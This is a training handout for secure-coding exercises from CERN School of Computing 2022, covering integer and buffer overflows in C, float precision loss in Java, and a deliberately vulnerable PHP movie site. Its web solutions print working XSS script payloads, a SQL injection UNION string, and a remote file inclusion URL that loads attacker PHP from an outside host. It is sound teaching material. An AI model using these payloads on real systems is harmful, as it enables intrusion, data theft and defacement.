CSC 2022 - Secure Software exercises - documentation

Exercises:

[back to top]

C - exercise 1

This piece of code calculates a cost of renting machines in a computer centre, based on a price per machine-day:

```
cd ~/SecureSoftware-exercises/C/exercise-1
make
./cost 32
>> Price for one machine-day: 37.65 EURO
>> The cost for 32 machine-days is 1204 EURO
```

The total cost is rounded to full EUROs.

For some numbers provided as argument, the result (calculated cost) is completely wrong - find the reason. The answer to this exercise is the smallest **positive** number of machine-days for which the result (calculated cost) is wrong.

Hint

Try providing big numbers as argument...

Solution

On the computers that you work on, and with gcc implementation that you use here, the lenght of "unsigned int" is 32 bits. This code displays the greatest number that can be represented in "unsigned int" variable:

```
cat > int.c

#include <stdio.h>
int main()
{
  int c = -1;
  printf("%u\n", c);
}

<PRESS Ctrl-D>

gcc -o int int.c ; ./int
>> 4294967295
```

An error occurs when the result of a multiplication (in this particular case: 3765 times the provided number of machine-days) is bigger than or equal to 2^{32} = 4294967296. If this happens, the top-most (33rd) bit of the result is lost. Run the following:

```
./cost 1140761
>> Price for one machine-day: 37.65 EURO
>> The cost for 1140761 machine-days is 42949652 EURO
./cost 1140762
>> Price for one machine-day: 37.65 EURO
>> The cost for 1140762 machine-days is 16 EURO
```

At the second execution, the script fails - simply because 3765 * **1140762** ≥ 2^{32}

This is how the smallest number that breaks the code can be calculated:

```
python -c "print ((2**32) / 3765) + 1"
>> 1140762
```

Now, please modify the program so that it is no more vulnerable to this problem.

[back to top]

C - exercise 2

This little program checks the password provided by the user:

```
cd ~/SecureSoftware-exercises/C/exercise-2
make

./pwd test
>> Wrong password!

./pwd "This is a very magic secret password..."
>> Congratulations, correct password provided!
```

Is there any other argument to this program, that will be accepted as "correct password"? In other words, can a user make this program to display "Congratulations, correct password provided!", providing a password other than "This is a very magic secret password..."?

Hint

Add the following code at the end of the program:

```
// %p displays memory address of a pointer to the string
printf("\nprovided\t%p\t%s\ncorrect\t\t%p\t%s\n",
  providedPassword, providedPassword,
  goodPassword, goodPassword);
```

then recompile with "make" command, and try providing long strings as the password...

The answer to this exercise is any argument different than "This is a very magic secret password..." that makes this program to display "Congratulations...".

Solution

```
./pwd test
>> Wrong password!

./pwd `python -c "print 'a'*120"`
>> Congratulations, correct password provided!
```

(the python code prints string composed of 120 'a' characters). Depending on the architecture, the `goodPassword` buffer will be placed in memory after the `providedPassword` buffer. Since there is no check of length of the password provided by the user, if the password is too long, it will overwrite also the `goodPassword` buffer. To see memory addresses of both buffers and their contents, add the following code at the end of the program:

```
  printf("\nprovided\t%p\t%s\ncorrect\t\t%p\t%s\n",
    providedPassword, providedPassword,
    goodPassword, goodPassword);
```

and run the program again:

```
make

./pwd test
>> Wrong password!
>>
>> provided        0x500b40        test
>> correct         0x500b80        This is a very magic secret password...

./pwd `python -c "print 'a'*120"`
>> Congratulations, correct password provided!
>>
>> provided        0x500b40     aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
>> correct         0x500b80        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

As you see, 'a' characters overwrote the correct password buffer.

Now, please modify the program so that it is no longer vulnerable to this problem.

[back to top]

Java - exercise 1

Image a web page asking its visitors to provide their monthly salary, and calculating an average of values provided so far. (BTW, I know that such a web page wouldn't be hugely popular :-) - this is just an exercise).

For simplicity, the code that you see in this exercise is a simple stand-alone application, and not a web-application.

```
cd ~/SecureSoftware-exercises/Java/exercise-1
make
java Salaries
Current average: 1200.0 (sum: 6000.0, count: 5)
---------------------------------------------
Please tell us your monthly salary in EUROs (type 0 to exit)
750
Current average: 1125.0 (sum: 6750.0, count: 6)
Do you want the system to remember the salary you entered? (yes/no)
yes
... keeping your last entry
---------------------------------------------
Please tell us your monthly salary in EUROs (type 0 to exit)
20000
Current average: 3821.4285 (sum: 26750.0, count: 7)
Do you want the system to remember the salary you entered? (yes/no)
no
... removing your last entry
Current average: 1125.0 (sum: 6750.0, count: 6)
---------------------------------------------
Please tell us your monthly salary in EUROs (type 0 to exit)
0
```

This code is not perfect for many reasons, but is there a way to actually change the average to 0? So to get the following output:

```
Current average: 0.0 (sum: 0.0, count: 7)
```

Hint

Note that the current salary sum is kept in a float variable. Did you hear about possible precision loss when adding or substracting floating point variables?

Solution

When working with floating point variable, if you add very a big number to a very small one, the precision of the small one is lost. So when you subsequently substract the big one, you get 0!

```
cat > Test.java

class Test {
    public static void main(String[] argv)
    {
        float small = 1.0f;
        float big = 10000000000000000000.0f;
        System.out.println(small);

        small = small + big;
        System.out.println(small);

        small = small - big;
        System.out.println(small);
    }
}

<PRESS Ctrl-D>

javac Test.java; java Test
1.0
1.0E19
0.0
```

So in case of the exercise code, it is enough to provide a big value, and then to say no when asked if you want to keep it:

```
Current average: 1200.0 (sum: 6000.0, count: 5)
---------------------------------------------
Please tell us your monthly salary in EUROs (type 0 to exit)
100000000000000000000
Current average: 1.6666667E19 (sum: 1.0E20, count: 6)
Do you want the system to remember the salary you entered? (yes/no)
no
... removing your last entry
Current average: 0.0 (sum: 0.0, count: 5)
```

The answer to this question is any number causing the program to fail and reset salary average to 0.

[back to top]

Web - exercise 1

The web application for this exercise is available at http://whitehat.cern.ch/movies.

The source code (PHP) can be downloaded from http://whitehat.cern.ch/movies/movies.zip.

Spend a few moments using this web application (see best and worst movies, search for a movie, rate a movie etc.). Then have a look at its source code. This code has multiple vulnerabilities of various types - listed below - that can be exploited by an attacker. Try to find them all, and break in!

This web application uses a MySQL database to store information about movies, and user comments. You don't have direct access to that database, but the information below about its structure may be useful for you when trying to exploit certain vulnerabilities.

Existing tables:

```
mysql> show tables;
+---------------------+
| Tables              |
+---------------------+
| comment             |
| movie               |
+---------------------+
```

Columns in table `movie`:

```
mysql> show columns from movie;
+-----------------+--------------+------+-----+---------+-------+
| Field           | Type         | Null | Key | Default | Extra |
+-----------------+--------------+------+-----+---------+-------+
| id              | int(11)      | YES  | MUL | NULL    |       |
| title           | varchar(50)  | YES  |     | NULL    |       |
| director        | varchar(50)  | YES  |     | NULL    |       |
| stars           | varchar(200) | YES  |     | NULL    |       |
| year            | int(11)      | YES  |     | NULL    |       |
| rating_sum      | int(11)      | YES  |     | NULL    |       |
| rating_count    | int(11)      | YES  |     | NULL    |       |
| private_comment | varchar(200) | YES  |     | NULL    |       |
| webpage         | varchar(100) | YES  |     | NULL    |       |
+-----------------+--------------+------+-----+---------+-------+
```

Contents of some of the columns of table `movie`:

```
mysql> select id, title, rating_sum, rating_count from movie;
+------+------------------+------------+--------------+
| id   | title            | rating_sum | rating_count |
+------+------------------+------------+--------------+
|    1 | Apocalypse Now   |        194 |           21 |
|    2 | Shrek            |        108 |           14 |
|    3 | Scream           |          0 |            0 |
|    4 | Titanic          |         68 |            9 |
|    5 | Forrest Gump     |         39 |            5 |
|    8 | Independence Day |         42 |            9 |
|    7 | Spider-Man 2     |          8 |            3 |
+------+------------------+------------+--------------+
```

See the production year of movie "Scream", and then change it.

```
mysql> select year from movie where id = 3;
+------+
| year |
+------+
| 1996 |
+------+

mysql> update movie set year = 1997 where id = 3;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select year from movie where id = 3;
+------+
| year |
+------+
| 1997 |
+------+
```

Question/vulnerability 1 (answered)

This trivial security problem allows the attacker to see the database password, among other details.

Hint

Where is the database password stored?

Solution

The developer of the movie application has accidently left a backup/old version of `config.php` in `config.bak` file. But since this backup file doesn't have the `.php` extension, when it is requested by a Web browser, it doesn't get interpreted on the server with the PHP engine, but instead is directly returned to the Web client. This lets the attacker to see its content, so the PHP source code, including the database password!!

http://whitehat.cern.ch/movies/config.bak

Question/vulnerability 2

How could an attacker manipulate the movie rating system?
(Let's assume that there are some restrictions for the number of ratings coming from a given IP address - so e.g. clicking on one value 1000 times is not possible.)

Hint

See how user can rate a movie, and how his rating is being added. Can this be exploited, to change the rating of a movie to e.g. 0?

Solution

Since there is no check if the value of the `rate` argument is between 1 and 10, an attacker can provide any value and alter total rating any way he wants. See movie "Titanic":

```
http://whitehat.cern.ch/movies/index.php?p=movie&id=4
Rating: 7.56 / 10    (9 people voted)
```

Rate it horrible by clicking on "1":

```
http://whitehat.cern.ch/movies/index.php?p=movie&id=4&rate=1
Rating: 6.90 / 10    (10 people voted)
```

and now modify the URL to set the rate argument to, say, -69:

```
http://whitehat.cern.ch/movies/index.php?p=movie&id=4&rate=-69
Rating: 0.00 / 10    (11 people voted)
```

so you've changed the rating of the move to **0**!

Please note that passing arguments via POST method instead of GET would **not** make changing rating any harder for an attacker. He could craft a POST request and telnet to the server; save the movie HTML page locally, edit it and submit; or use a Firefox plugin "Tamper data" and modify rate field in a POST request.

Please now modify the PHP code to remove this vulnerability.

Question/vulnerability 3

How could an attacker affect what other people see when visiting this Web application, by abusing the user comments feature?

Hint

Look at the functionality for adding comments to a movie. A comment submitted by a user is escaped (with function `mysql_real_escape_string`) before being used in SQL queries, so the database is safe. Is everything else fine as well?

Solution

Note that whatever user provides as a comment is directly printed in the HTML page describing a movie. So if user's comment contains HTML tags, they will get rendered (printed) for all other users of the service. An attacker can easily exploit this vulnerability to break page's layout, annoy other users or redirect them to another web site, or even get other users' IP addresses, steal their cookies etc. (with so-called Cross Site Scripting (XSS) attack). Try the following URLs to see results:

```
Apocalypse Now (changing comment formatting):
http://whitehat.cern.ch/movies/index.php?p=movie&id=1&comment=
        <font+size="+5"+color="red">My+comments+is+the+most+important!</font>

Shrek (displaying annoying text at the top of the page)
http://whitehat.cern.ch/movies/index.php?p=movie&id=2&comment=
        <div+style="position:absolute;left:50px;top:20px;">
        <h1+style="color:orange;">HACKED!!!!!!!!!!!!!+:-)</h1></div>

Scream (displaying a popup window)
```

```
http://whitehat.cern.ch/movies/index.php?p=movie&id=3&comment=
        <script>alert('If+you+want+to+buy+some+VIAGRA,+visit+www.viagra.com');</script>

Titanic (redirecting users to another page)
http://whitehat.cern.ch/movies/index.php?p=movie&id=4&comment=
        <script>window.location="http://www.google.com/search?q=does+lhc+create+black+holes"</script>
```

Now go to http://whitehat.cern.ch/movies (if you want, you may restart the browser, as if you were a different user) - you will see that pages of affected movies (Apocalypse Now, Shrek, Scream, Titanic) are broken/hacked!

Question/vulnerability 4

How could an attacker see the content (e.g. `private_comment` column) of your database?

Hint

Ask the search page to display movie titles along with the contents of the `private_comment` column.

Small hint: how can two independent select queries be combined in one?

Solution

As you probably realized, search string (script argument `q`) is concatenated with the SQL select query without any validation and without escaping characters like ' (the apostrophe). So an SQL infection attack couldn't be easier to perform. Try putting the following string as a search query to see private comments:

```
eeee' union select id, concat(title, ' - ', private_comment) as title from movie where title like '%
```

In the same way an attacker could display data from any other table in the database (to which the PHP script has select access granted).

As an answer to this question, provide a URL to the search page displaying private comments.

Question/vulnerability 5

How could an attacker execute his PHP code within your Web application?

Hint

An attacker can now execute any PHP code he wants (e.g. code hosted on a remote Web server) on your Web server. Have a look at one of the script arguments...

Solution

An attacker can now execute any PHP code he wants on your Web server, by just setting the `p` argument to a URL to his PHP code:

```
http://whitehat.cern.ch/movies/index.php?p=http://cern.ch/security/tmp/exploit.txt?
```

(BTW: why was a question mark added at the end of this URL? if you don't know, try without it, and see where `p` argument is used in the code).

This is an extremely serious bug, that can easily lead to a compromise of your Web server, database etc.!

You can see the code of the exploit at `http://cern.ch/security/tmp/exploit.txt`

[back to top]

JS - exercise 1

This is not a real exercise for finding security bugs, but rather a puzzle for those who finished other exercises and want to have a more difficult challenge.

Open secret.html (or the local file `JS/secret.html`) in your browser. As you see, it is a single HTML file with some JavaScript embedded. There is a secret message that will only be revealed when you provide a correct password. Find the password! It should be simple - how a static HTML page could possibly hide something, right?

(I found this puzzle public on the Web - I don't know who's the author, so I can't credit him. The steps to solve the puzzle proposed in part Hint and Solution are mine - there could be other ways to solve it.)

Hint

If you have problems in decoding JavaScript, install "Web Developer" Firefox extension and choose Information -> View JavaScript from the toolbar.

Solution

As you have seen, the JavaScript code checks the provided password, and tries to decrypt the message with the password, only if it passes a certain test. Try to see how many characters the password has, and list passwords that pass the test.